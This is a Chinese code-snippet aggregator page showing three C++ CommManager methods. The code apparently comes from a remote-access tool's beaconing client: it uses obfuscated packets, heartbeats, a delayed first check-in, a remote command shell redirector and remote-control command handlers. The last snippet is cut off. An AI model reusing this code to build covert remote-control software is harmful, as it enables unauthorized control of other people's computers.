本文整理汇总了C++中CommData::GetMsgID方法的典型用法代码示例。如果您正苦于以下问题:C++ CommData::GetMsgID方法的具体用法?C++ CommData::GetMsgID怎么用?C++ CommData::GetMsgID使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类CommData
的用法示例。
在下文中一共展示了CommData::GetMsgID方法的3个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: HandleMessage
BOOL CommManager::HandleMessage( SOCKADDR_IN fromAddr, const LPBYTE pData, DWORD dwDataSize, COMM_NAME commName, CPGUID& cpguid )
{
ByteBuffer dataBuffer;
dataBuffer.Alloc(dwDataSize);
if (! XorFibonacciCrypt(pData, dwDataSize, (LPBYTE)dataBuffer, 2, 7))
{
return FALSE;
}
BOOL bRet = m_cp.AddRecvPacket(dataBuffer, dataBuffer.Size(), commName, &cpguid);
if (m_cp.HasReceivedMsg())
{
CPGUID from;
ByteBuffer recvMsgData;
if (m_cp.RecvMsg(recvMsgData, from))
{
//解析数据
CommData recvCommdata;
if (recvCommdata.Parse(recvMsgData, recvMsgData.Size()))
{
debugLog(_T("recv msg msgid[%I64u] serial[%I64u]"), recvCommdata.GetMsgID(), recvCommdata.GetSerialID());
tstring clientid;
CutupProtocol::CPGuid2Str(from, clientid);
recvCommdata.SetClientID(clientid.c_str());
SetMessageToAnswer(recvCommdata);
HandleMsgByMsgHandler(recvCommdata.GetMsgID(), recvCommdata);
}
else
{
errorLog(_T("parse message failed"));
}
}
}
if (bRet)
{
//更新心跳数据
tstring clientid;
CutupProtocol::CPGuid2Str(cpguid, clientid);
UpdateHeartbeat(clientid.c_str(), fromAddr);
}
return bRet;
}
示例2: AddToSendMessage
MSGSERIALID CommManager::AddToSendMessage( LPCTSTR clientid, const CommData& commData, BOOL bNeedReply /*= TRUE*/ )
{
static MSGSERIALID s_serialid = 0;
if (0 == s_serialid)
{
__time64_t now;
_time64(&now);
s_serialid = now;
}
CPGUID cpguid;
if (! CutupProtocol::Str2CPGuid(clientid, cpguid))
{
errorLog(_T("transfer clientid failed[%s]"), clientid);
return INVALID_MSGSERIALID;
}
MSGSERIALID ret = INVALID_MSGSERIALID;
if (bNeedReply)
{
m_mapSection.Enter();
{
ClientDataMap::iterator finditer = m_clientDataMap.find(clientid);
if (finditer == m_clientDataMap.end())
{
DataMap am;
std::pair<ClientDataMap::iterator, bool> res = m_clientDataMap.insert(ClientDataMap::value_type(clientid, am));
if (res.second)
{
finditer = res.first;
}
}
if (finditer != m_clientDataMap.end())
{
DataMap& am = finditer->second;
SEND_AND_REPLY tempAA;
std::pair<DataMap::iterator, bool> res = am.insert(DataMap::value_type(s_serialid, tempAA));
if (res.second)
{
SEND_AND_REPLY& aa = res.first->second;
aa.bReply = FALSE;
aa.sendData = commData;
aa.sendData.SetSerialID(s_serialid);
aa.cpSerial = 0;
ret = s_serialid;
ByteBuffer toSendData;
aa.sendData.Serialize(toSendData);
BOOL bPutMsg = m_cp.PutMessage(cpguid, toSendData, toSendData.Size(), COMMNAME_DEFAULT, 0, &aa.cpSerial);
if (! bPutMsg)
{
errorLog(_T("put message msgid[%I64u] failed"), aa.sendData.GetMsgID());
}
}
s_serialid++;
}
}
m_mapSection.Leave();
}
else
{
m_mapSection.Enter();
{
CommData sendData = commData;
sendData.SetSerialID(s_serialid);
ret = s_serialid;
ByteBuffer toSendData;
sendData.Serialize(toSendData);
CPSERIAL cpSerial = 0;
BOOL bPutMsg = m_cp.PutMessage(cpguid, toSendData, toSendData.Size(), COMMNAME_DEFAULT, 0, &cpSerial);
if (! bPutMsg)
{
errorLog(_T("put message msgid[%I64u][noreply] failed"), sendData.GetMsgID());
}
s_serialid++;
}
m_mapSection.Leave();
}
return ret;
}
示例3: MessageSenderProc
void CommManager::MessageSenderProc()
{
Wow64FsRedirectionDisabler disabler;
disabler.Disable();
DWORD sendTestTimeMS = 0;
BOOL bFirstConnect = TRUE;
BOOL bWaitUntil = (g_ConfigInfo.nFirstConnectHour >= 0 && g_ConfigInfo.nFirstConnectMinute >= 0);
ByteBuffer recvByteData;
while (m_bWorking)
{
if (! m_bWorking) break;
Sleep(m_dwMsgIntervalMS);
//如果配置了第一次上线时间,则需要检测并等待
if (bFirstConnect && bWaitUntil)
{
static int iCount = 0;
iCount++;
if (iCount < 5) continue;
iCount = 0;
SYSTEMTIME now;
::GetLocalTime(&now);
if (now.wHour == g_ConfigInfo.nFirstConnectHour && now.wMinute == g_ConfigInfo.nFirstConnectMinute)
{
bFirstConnect = FALSE;
}
else
{
continue;
}
}
//从CutupProtocol获取待发送数据
ByteBuffer toSendByteData;
COMM_NAME commName;
if (! GetMessageToSend( commName ,toSendByteData))
{
CreateEmptyPacket(toSendByteData);
commName = COMMNAME_DEFAULT;
}
ULONG targetIP = 0;
BOOL ret = FALSE;
do
{
ret = MySocket::IPOrHostname2IP(a2t(g_ConfigInfo.szAddr),targetIP);
} while (!ret);
ret = SendAndRecv(commName, targetIP, toSendByteData, toSendByteData.Size(), recvByteData);
if (! ret)
{
CmdRedirector &cmd = Manager::GetInstanceRef().m_cmdRedirector;
if (cmd.IsChildRunning())
cmd.Stop();
errorLog(_T("sendrecv msg [%d] failed"), commName);
continue;
}
if (!IsConnected())
{
ConnectedNotify();
}
CommData recvData;
ret = recvData.Parse(recvByteData, recvByteData.Size());
if (!ret )
{
errorLog(_T("parse received msg failed"));
continue;
}
MSGID msgid = recvData.GetMsgID();
if (INVALID_MSGID == msgid)
{
continue;
}
if ( MSGID_AVAILABLE_COMM == msgid )
{
continue;
}
//查询消息处理者
FnExecuteRCCommand fnCallback = NULL;
//.........这里部分代码省略.........